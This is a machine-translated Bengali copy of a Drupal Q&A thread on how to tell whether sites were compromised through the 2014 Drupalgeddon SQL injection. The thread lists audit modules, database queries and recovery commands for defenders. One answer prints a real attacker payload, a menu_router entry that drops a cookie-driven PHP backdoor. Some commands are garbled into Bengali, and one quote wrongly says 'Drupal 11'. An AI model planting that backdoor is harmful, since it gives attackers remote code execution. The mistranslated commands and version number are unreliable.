ড্রুপাল SA-CORE-2014-005 - আমার সার্ভার / সাইটগুলি আপোস করা হয়েছে কিনা তা কীভাবে বলবেন?

Question

ড্রুপাল এসএ-কোরি -2014-005 শোষণের সমাধানের প্যাচ পদ্ধতিটি ব্যবহার করে আমি আমার সমস্ত সাইটকে আপডেট করেছি। আমি কেবল প্রতিবেদনগুলি পড়েছিলাম যে গতকাল রাশিয়ান আইপি থেকে অনুপ্রবেশকারী ড্রুপাল সাইট থেকে কেউ আছেন।

https://www.drupal.org/SA-CORE-2014-005

আমার প্রধান উদ্বেগ এখন:

• আমার সাইটগুলি সমন্বিত হয়েছে কিনা আমি কীভাবে বলব?
• আমার সাইটটি ভুক্তভোগী ছিল কিনা তা সনাক্ত করতে আমার অ্যাপাচি অ্যাক্সেস লগগুলিতে আমি কী সন্ধান করব?
• এখনও অবধি এই হ্যাকারগুলি সমন্বিত সাইটগুলিতে কী করছে?

Comments

যে জন্য একটি মডিউল এখন drupal.org/project/drupalgeddon

— mikeytown2

আমি যদি 100 টি ড্রুপাল সাইটের জন্য এলিয়াস সেটআপ না করি তবে কী হবে? কিছু সাধারণ হ্যাকগুলি কী কী রয়েছে তা আমরা কীভাবে গ্রেপ করব তা আমরা জানি?

— পটোশি パ ト シ

সম্পর্কিত: SA-CORE-2014-005 (ড্রুপাল 7.32) এর প্যাচটি কী ধরণের আক্রমণ প্রতিরোধ করে?

— আনোয়ার করুন

@duckx ড্রুপালজেডন মডিউলে কোডটি পরীক্ষা করুন এবং আপনি সেই সাধারণ হ্যাকগুলি খুঁজে পাবেন; সুস্পষ্ট কারণে, কোনও দূষিত ব্যবহারকারী একটি ডেটাবেজে সম্পূর্ণ অ্যাক্সেস নিয়ে করতে পারে এমন প্রতিটি সম্ভাব্য পরিবর্তন আমরা তালিকাভুক্ত করতে পারি না। তারা যে কোনও পরিবর্তন করতে পারে যে ড্রুপাল মাইএসকিএল ব্যবহারকারীর করার অনুমতি রয়েছে, এ জাতীয় বিন্দু। সুতরাং আক্ষরিকভাবে নিশ্চিত হওয়ার একমাত্র উপায় হ'ল আপনার বর্তমান ডাটাবেসকে একটি ভাল ভাল সংস্করণের সাথে তুলনা করা। আপনি যদি এটির মতো নির্ভরযোগ্যভাবে চাপ দেওয়ার জন্য একটি বোতাম সন্ধান করছেন, 100% নির্ভুলভাবে, আপনার সাইটের সাথে আপোস হয়েছে কিনা তা আপনাকে জানান, আপনি স্বপ্ন দেখছেন যে আমি ভয় করি :)

— ক্লাইভ

ডকি: আপনার যদি এলিয়াস সেট আপ না থাকে এবং আপনার কাছে 100 টি সাইট থাকে তবে ম্যানুয়ালি মোকাবেলা করার পরিবর্তে এলিয়াসগুলি সেটআপ করা আরও সহজ হবে? নিজেকে সাইটের শিকড় এবং ইউআরএলগুলির একটি তালিকা পান এবং আপনি সেখান থেকে উপস্বের একটি সেট তৈরি করতে পারেন।

— ক্রিস বার্গেস

Answer 1

এখানে কিছু এসকিউএল কোয়েরি রয়েছে যেগুলি প্রশাসকের সুবিধাসমূহ সহ ব্যবহারকারীদের অনুসন্ধানের জন্য আপনার সাইটের ডিবি'র বিরুদ্ধে চালানো যেতে পারে এবং 15 অক্টোবর সাইট পোস্টে এর মধ্যে কোনটি অ্যাক্সেস করেছে?

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Comments

হাই এবং ড্রুপাল উত্তরগুলিতে আপনাকে স্বাগতম। প্রদত্ত পৃষ্ঠার একটি ছোট সংক্ষিপ্তসার সরবরাহ করে আপনি নিজের উত্তরটি উন্নত করতে পারেন।

— ওয়াটওয়ার

বিটিডব্লিউ, এটি 15 অক্টোবর পরে তৈরি ব্যবহারকারীদের জন্য চেক করার পরামর্শ দেওয়া হয় created। এটি ব্যবহারকারীদের সারণি থেকে ক্ষেত্রটি ব্যবহার করে । এটি গ্যারান্টিযুক্ত নয় যে যে ব্যক্তি এসকিউএল ইনজেকশন করেছে সে ক্ষেত্রের মানকে সম্মান করবে, যা এই চেকটি বেশ কার্যকর না করে তোলে। প্রকৃতপক্ষে, আমার কাছে এটি ঘটেছে যে নামের দ্বারা সাধারণ ব্যবহারকারী ইনজেকশনটি সম্ভবত drupaldev44 সপ্তাহ আগে তৈরি হয়েছিল। দ্বিতীয় সুপারিশ হিসাবে, আবার গ্যারান্টি দেওয়া হয় না যে ইনজেকশনের ব্যবহারকারীর সত্যই লগ ইন হয়েছে।

— ওয়াটওয়ার

Answer 2

আপনি যদি এই নিবন্ধটি পড়ছেন এবং শোষণের অবতরণের এক মাসেরও বেশি সময় ধরে একটি ড্রুপাল 7 সাইট পরীক্ষা করার প্রত্যাশা করছেন, আপনার সাইটটি সম্ভবত ইতিমধ্যে হ্যাক হয়ে গেছে । আপনার সেরা বাজি হ'ল আক্রমণ শুরু হওয়ার আগে থেকেই একটি ব্যাকআপ পুনরুদ্ধার করা এবং সেখান থেকে কাজ করা।

SA-CORE-2014-005 এ একটি FAQ রয়েছে ।

আমার সাইটগুলি আপোস করা হয়েছে কিনা তা আমি কীভাবে বলব?

সাইটগুলি আপোস করা হয়েছে কিনা তা দ্রুত পরীক্ষা করার একটি উপায় হ'ল ড্রুপালজেডন ড্রাশ কমান্ডের সাথে।

• https://www.drupal.org/project/drupalgeddon

আপনার ~/.drushসাথে ইনস্টল করুনdrush dl drupalgeddon

তারপরে drush drupalgeddon-testপরীক্ষার জন্য ব্যবহার করুন। ড্রিশ এলিয়াসগুলি এটিকে সহজ এবং দ্রুত করে তোলে।

এই সরঞ্জামটি কোনও শোষিত সাইটের নিশ্চিত করতে পারে, তবে এটি আপনার সাইটটি শোষণ না হওয়ার গ্যারান্টি দিতে পারে না। আক্রমণ শুরুর আগে আপগ্রেড না করা হলে এখানে কোনও "ক্লিন বিল অফ হেলথ" নেই।

---

সাইট অডিট মডিউলটিতে দ্রুপালগেডন থেকে কিছু চেক অন্তর্ভুক্ত রয়েছে এবং আপনাকে আরও অনেক দরকারী ইনপুট দেয়। আমি এটি উচ্চ প্রস্তাব। (সম্পাদনা: এখন তারা একসাথে কাজ - খুব সুন্দর!)

• http://drupal.org/project/site_audit

---

সুরক্ষা পর্যালোচনা ড্রুপালজেডন আক্রমণগুলির জন্য যাচাই করে না তবে এটি আপনার সরঞ্জামদণ্ডেও মূল্যবান।

• http://drupal.org/project/security_review

---

যদি আপনার সাইটের কোডবেস www ব্যবহারকারীর কাছে লিখিত হয় তবে আপনি অতিরিক্তভাবে হ্যাক হওয়া মডিউলটি ব্যবহার করে সংশোধিত কোড পরীক্ষা করতে পারেন। এই মডিউলটি কেবল তার নামের উপর ভিত্তি করে যা মনে করেন তা করতে পারে না :)

• http://drupal.org/project/hacked

---

সমস্ত আপোসযুক্ত সাইটগুলি সনাক্ত করার কোনও নির্দিষ্ট উপায় নেই তবে এই সরঞ্জামগুলি আপনাকে সর্বাধিক সাধারণ সূচকগুলি সনাক্ত করতে সহায়তা করতে পারে।

---

আমার সাইটটি ভুক্তভোগী ছিল কিনা তা সনাক্ত করতে আমার অ্যাপাচি অ্যাক্সেস লগগুলিতে আমি কী সন্ধান করব?

আপনার অ্যাক্সেস লগগুলিতে এখনই প্রচুর পোস্ট অনুরোধ থাকবে। আপনি যদি বাগের আগে থেকে সমস্ত পোস্ট ডেটা লগ করার অস্বাভাবিক পদক্ষেপ না নিয়ে থাকেন তবে এগুলির মধ্যে কোনটি দূষিত ছিল তা জানার আপনার কাছে সম্ভাবনা নেই।

এতক্ষণ এই হ্যাকাররা আপোসযুক্ত সাইটগুলিতে কী করছে?

অনেকে রিপোর্ট করছে যে তাদের সাইটগুলি হ্যাকাররা প্যাচ করছে! আক্রমণকারী হিসাবে, এটি ভালভাবে বোঝায় - আপনি চান না যে আপনার নতুন ছিনতাই করা সাইটটি পরবর্তী আক্রমণকারী দ্বারা আপনার নীচে থেকে চাবুকের আছড়ে পড়ে :)

তা ছাড়া, আমি অনুমান করতে পারি যে সাইটগুলি যে কোনও মূল্যবান ডেটা সংগ্রহ করার জন্য ব্যবহার করা হচ্ছে (সম্ভবত কিছু শংসাপত্র অর্জন করতে পারে, শোষণের পরে লেনদেনের বিশদ উত্তোলন করতে হবে) এবং স্প্যাম প্রেরণ এবং নম্র বোটনেট ক্রীতদাস হিসাবে কাজ করার মতো বিরক্তিকর কাজগুলি করার জন্য। ওহ, এবং হাইজ্যাক করা ড্রুপাল সাইটগুলির আক্রমণকারীর সাম্রাজ্যকে আরও প্রসারিত করুন। (দুঃখিত, আমার কাছে পর্যবেক্ষণের জন্য কোনও হ্যাক সাইট নেই))

Comments

আপনি কি স্পষ্ট করতে পারেন? কোনও আক্রমণ সবসময়ই কোনও পোষ্ট অনুরোধের সাথে শুরু হবে? আমি কোনও পোস্টের জন্য আমার লগগুলি পরীক্ষা করছি। আমি প্যাচ করার পরে আইপি 62.76.191.119 এ একটি পেয়েছি।

— ল্যান্স হল্যান্ড

আমার কাছে একটি সাইট ছিল যা এই শোষণের শিকার হয়েছিল এবং মনে হয়েছিল যে আক্রমণকারীরা এটি সার্ভার থেকে টন স্প্যাম প্রেরণে ব্যবহার করেছিল।

— সাইক্লোনকোড

Answer 3

সাধারণ আক্রমণগুলির জন্য কিছু চেক হ'ল (এটি একটি বিস্তৃত তালিকা নয়, তবে এখনও পর্যন্ত বুনোতে দেখা কিছু আক্রমণ):

• আপনার ব্যবহারকারীর নাম, ইমেল ঠিকানা বা পাসওয়ার্ড আপনি কী আশা করছেন তা নিশ্চিত করার জন্য আপনার ব্যবহারকারীর 1 অ্যাকাউন্টটি পরীক্ষা করুন। সম্ভব হলে উচ্চতর স্তরের অনুমতি প্রাপ্ত যে কোনও ব্যবহারকারীর অ্যাকাউন্টও পরীক্ষা করে দেখুন।
• সন্দেহজনক দেখতে লাগছে এমন নতুন ব্যবহারকারীর অ্যাকাউন্টগুলির জন্য পরীক্ষা করুন।
• আপনার সিস্টেমে ভূমিকার জন্য পরিবর্তনগুলি পরীক্ষা করুন, উদাহরণস্বরূপ কোনও নতুন ভূমিকা বা নাম পরিবর্তিত ভূমিকাগুলি।
• অনুমতি পরিবর্তনের জন্য পরীক্ষা করুন। এর সর্বাধিক গুরুত্বপূর্ণ দিকটি নিশ্চিত করা হয় যে বেনামে ব্যবহারকারীর ভূমিকা (বা যে কোনও ভূমিকা নিতে যে কেউ নিজেরাই সাইন আপ করতে পারে) তাদের বর্ধিত অ্যাক্সেস দেওয়ার জন্য পরিবর্তন করা হয়নি।
• নতুন কাস্টম ব্লকগুলির জন্য পরীক্ষা করুন যাতে দূষিত কোড থাকতে পারে।
• নতুন কাস্টম নোডের জন্য পরীক্ষা করুন যাতে দূষিত কোড থাকতে পারে।
• আপনার ফাইল সিস্টেমে ফাইলগুলি পরীক্ষা করুন যা সেখানে না থাকা উচিত। আপনি যদি সংস্করণ নিয়ন্ত্রণ ব্যবহার করেন তবে এটি সহজ কারণ আপনি কোনও নতুন ফাইল আছে কিনা তা দেখতে গিট স্ট্যাটাস বা এসএনএন স্টেট করতে পারেন।
• যদি তারা দূষিত ফাইলগুলি আপলোড করে থাকে তবে আপনি অপরিচিত না এমন অদ্ভুত ফাইলের নামগুলির জন্য আপনার অ্যাক্সেস লগগুলি পরীক্ষা করতে পারেন।

• দূষিত এন্ট্রিগুলির জন্য আপনার মেনু রাউটার ডাটাবেস টেবিলটি পরীক্ষা করুন। উদাহরণস্বরূপ (drupalgeddon মডিউল / ড্রপ প্লাগিনে drupal.org এ এই টেবিলটি আরও ভাল করে পরীক্ষা করার জন্য একটি ভাল স্ক্রিপ্ট রয়েছে):

  মেনু_রোউটার থেকে * নির্বাচন করুন যেখানে অ্যাক্সেস_ক্যালব্যাক = 'ফাইল_পুট_কন্টেন্টস';

• আপনি অদ্ভুত সন্ধানকারী এন্ট্রিগুলির জন্য আপনার মেনু রাউটার টেবিলটি ব্রাউজ করতে পারেন।

হ্যাকাররা কিছু কাজ করার চেষ্টা করছে:

• আপনার সাইটে পিএইচপি স্ক্রিপ্ট ফাইলগুলি রাখুন যা সেগুলি ব্রাউজারে আঘাত করে চালাতে পারে। এই স্ক্রিপ্টগুলি বিবিধ দূষিত কাজ করতে পারে। দূষিত মেনু রাউটার এন্ট্রি যুক্ত করার মাধ্যমে এটি অর্জন করা হয়।
• আপনার সাইটের খারাপ কাজ করতে বা আপনার সাইটটি দখল করতে ব্যবহার করার জন্য তাদের প্রশাসক অ্যাকাউন্টগুলি তৈরি করুন।
• ব্যবহারকারীর 1 ইমেল ঠিকানা পরিবর্তন করুন যাতে তারা সেই অ্যাকাউন্টের জন্য পাসওয়ার্ড পুনরায় সেট করতে এবং এটি গ্রহণ করতে পারে।
• সর্বজনীনভাবে অ্যাক্সেসযোগ্য ব্যবহারকারীর ভূমিকাতে অনুমতি পরিবর্তন করুন।
• ব্লক / নোড / ইত্যাদি যুক্ত করুন। এতে দূষিত কোড থাকতে পারে। আপনি যদি পিএইচপি ফিল্টার সক্ষম করে থাকেন তবে এটি আরও বেশি সমস্যা।

দুর্ভাগ্যক্রমে আক্রমণকারী আপনার ডাটাবেসে এমন অনেক কিছু করতে পারে যে সম্ভাবনার সম্পূর্ণ তালিকা দেওয়া বেশ শক্ত। তারা এমন কিছু করতে পারে যা তাদের আপনার সাইটের নিয়ন্ত্রণ পেতে চেষ্টা করে অথবা তারা কেবল আপনার সাইটটি ভেঙে ফেলতে পারে তবে ডাটাবেস টেবিল বা কলামগুলি বাদ দেয় etc.

তারা এমনকি সাইটের কনফিগারেশনে খুব সামান্য পরিবর্তন করতে পারে যেমন আপনার সাইটের নাম বা এর মতো কিছু পরিবর্তন করতে পারে যা বিশ্বের শেষ নয় তবে এখনও সমস্যাযুক্ত।

মূলত, এসকিউএল কমান্ড চালিয়ে আপনি আপনার ডাটাবেসে যা কিছু করতে পারেন, আক্রমণকারী তাত্ত্বিকভাবে করতে পারে।

ক্রিস বার্গেসের উত্তরে উল্লিখিত সমস্ত মডিউল এই বিষয়গুলি পরীক্ষা করতে খুব দরকারী।

Comments

আপনি নিশ্চয় 62.76.191.119 দ্বারা আঘাত পেয়েছেন। সাধারণত দেখে মনে হচ্ছে এই আইপিটি আপনার ডক্রুটটিতে একটি ফাইল মেনু_আউটার এবং সম্ভবত অন্য দুষ্টু জিনিসগুলি আপনার ডিবিতে রাখার চেষ্টা করছে। আপনি মন্তব্যগুলি drupal.org/node/2357241 এ পড়তে পারেন ।

— স্কোর স্কোর

আমার সাইটগুলি সম্পর্কে আমার তদন্ত এখনও পর্যন্ত যতটা দেখিয়েছে আমি তাতে কোনওরকম আঘাত পাইনি। ওপিকে সাহায্য করার জন্য এটি কেবল তথ্য।

— রোবিক

আমি কীভাবে "দূষিত এন্ট্রিগুলির জন্য আপনার মেনু রাউটারের ডাটাবেস টেবিলটি পরীক্ষা করব:"? আমি একটি সেন্টো সার্ভারে আছি এবং আমার মূল রয়েছে।

— পটোশি パ ト シ

আপনি "SELECT * FROM মেনু_আউটার" ডাটাবেস কমান্ডটি চালাতে পারেন এবং তারপরে জায়গাগুলি সন্ধানকারী সারিগুলি পরীক্ষা করতে তাদের সবার মধ্য দিয়ে ট্রল করতে পারেন। আমার উত্তরে আরও একটি নির্দিষ্ট কমান্ডও উল্লেখ করা আছে যা পরিচিত একটি নির্দিষ্ট আক্রমণকে সন্ধান করে যা আপনার সার্ভারে ফাইল আপলোড করার জন্য ব্যবহৃত হয়।

— রোবিক

সুরক্ষা আপডেট প্রকাশের পরে এই আইপি 62.76.191.119 আমার সাইটের দুর্বলতা কাজে লাগানোর চেষ্টা করে। আমি আমার সমস্ত সাইট থেকে নিষিদ্ধ করেছি। আমি খুব ভাগ্যবান যে আমি সময় মতো আমার সাইটগুলি আপগ্রেড করেছি। এটি অদ্ভুত ছিল কারণ এটি আমার সাইটগুলিকে বর্ণানুক্রমিক ক্রমে আঘাত করছে।

— cayerdis

Answer 4

আমি মনে করি আমি drupal.org পরামর্শ নিয়ে যাব " আপনার অনুমানের অধীনে এগিয়ে যাওয়া উচিত যে প্রতিটি দ্রুপাল 11 ওয়েবসাইট 15 ই অক্টোবর, রাত 11 টা ইউটিসির আগে আপডেট না করা বা প্যাচ করা না হলে আপোস করা হয়েছিল, এটি ঘোষণার 7 ঘন্টা পরে ।" বেভান যেমন এই মন্তব্যে বলেছিলেন "দ্রুপাল আপডেট করা বা প্যাচিং করা দ্রুপাল আপডেট করার বা প্যাচ করার আগে আক্রমণকারীরা যে বাড়ির পিছনে ইনস্টল করেছিল তা ঠিক করে না।"

বেভান নিম্নলিখিত প্রণীত সাহায্য করার জন্য আপনি বিশ্লেষণ যদি আপনি সংক্রমিত হয়ে থাকতে পারে এবং পুনরুদ্ধার এবং প্রতিরোধ কিভাবে কর্মপ্রবাহ চার্ট । তবে, আপনার কর্মপ্রবাহের সর্বশেষতম সংস্করণ রয়েছে তা নিশ্চিত করতে তিনি প্রত্যেককে তার মূল নিবন্ধে যেতে বলে ask এছাড়াও, অ্যাকুয়া আকুয়া ক্লাউডে তারা যে আক্রমণগুলি এবং নিদর্শনগুলি নিয়েছে সে সম্পর্কে একটি আকর্ষণীয় নিবন্ধ তৈরি করে

Answer 5

থেকে উদ্ধৃতি: https://www.drupal.org/node/2357241#comment-9258955

এটি ফাইলের একটি উদাহরণ যা মেনু_আউটার টেবিল অ্যাক্সেস_ক্যালব্যাক কলামে sertedোকানো হয়:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

আপনি দেখতে পাচ্ছেন এটি ফাইল মডিউল / চিত্র / vzoh.php তৈরি করার চেষ্টা করছে তবে যেহেতু আমি কেবলমাত্র সেই ডিরেক্টরিগুলির মধ্যেই কেবল পড়ার অনুমতি পেয়েছি পিএইচপি ব্যর্থ হয়।

আপনার ড্রুপাল ডিরেক্টরিতে অনুসন্ধান করে তৈরি করা অনুরূপ ফাইলগুলি পাওয়া লোকদের প্রতিবেদন: https://www.drupal.org/node/2357241#comment-9260017

---

আমি যা করেছি তা হ'ল নিম্নলিখিত কমান্ডটি করা:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

থেকে উদ্ধৃত: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

লাইভ সার্ভারে পরিবর্তন হওয়া ফাইলগুলি দেখানো হচ্ছে: গিট স্ট্যাটাস

মেনু_আউটারের মাধ্যমে কোড কার্যকরকরণের প্রচেষ্টা সন্ধান করছে: মেনু_আউটার থেকে * নির্বাচন করুন যেখানে অ্যাক্সেস_ক্যালব্যাক = 'ফাইল_পুট_কন্টেন্টস'

লাইভ সার্ভারে কোন ফাইলগুলি রয়েছে এবং সংস্করণ নিয়ন্ত্রণে নেই সেগুলি দেখানো হচ্ছে: ডিফ-আর ডক্রুট রেপো গ্রেপ ডক্রোট | গ্রেপ 'কেবলমাত্র ডোক্রোটে'

ফাইল ডিরেক্টরিতে পিএইচপি ফাইলগুলি সন্ধান করা: সন্ধান করুন। -পথ "* পিএইচপি"

কোনও ব্যবহারকারী যখন আপনার সাইটে লগইন করেছেন এবং তাদের অতি সাম্প্রতিক পৃষ্ঠাটি দেখার সময়টির পরিমাণ পরীক্ষা করছেন: সেশনগুলির অভ্যন্তরীণ ব্যবহারকারীদের থেকে u.uid নির্বাচন করুন s.uid = u.uid;

Answer 6

আপনার প্রশংসা করা হয়েছে কিনা তা জানাতে কমান্ডগুলির একটি খুব ভাল তালিকা।

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Comments

পৃথক উত্তর দেওয়ার পরিবর্তে, সম্ভবত আপনার প্রথমটি সম্পাদনা করা উচিত এবং অতিরিক্ত তথ্য যুক্ত করা উচিত?

— সাইক্লোনকোড

Answer 7

আপনার ওয়েবসাইটটি এই অনলাইন সরঞ্জাম দিয়ে হ্যাক হয়েছে কিনা তা আপনি পরীক্ষা করতে পারেন:

ড্রুপাল চেক: ইঞ্জিনহ্যাক

স্পষ্টতই এটির সীমাবদ্ধতা রয়েছে তবে এটি একটি ভাল সূচনার পয়েন্ট।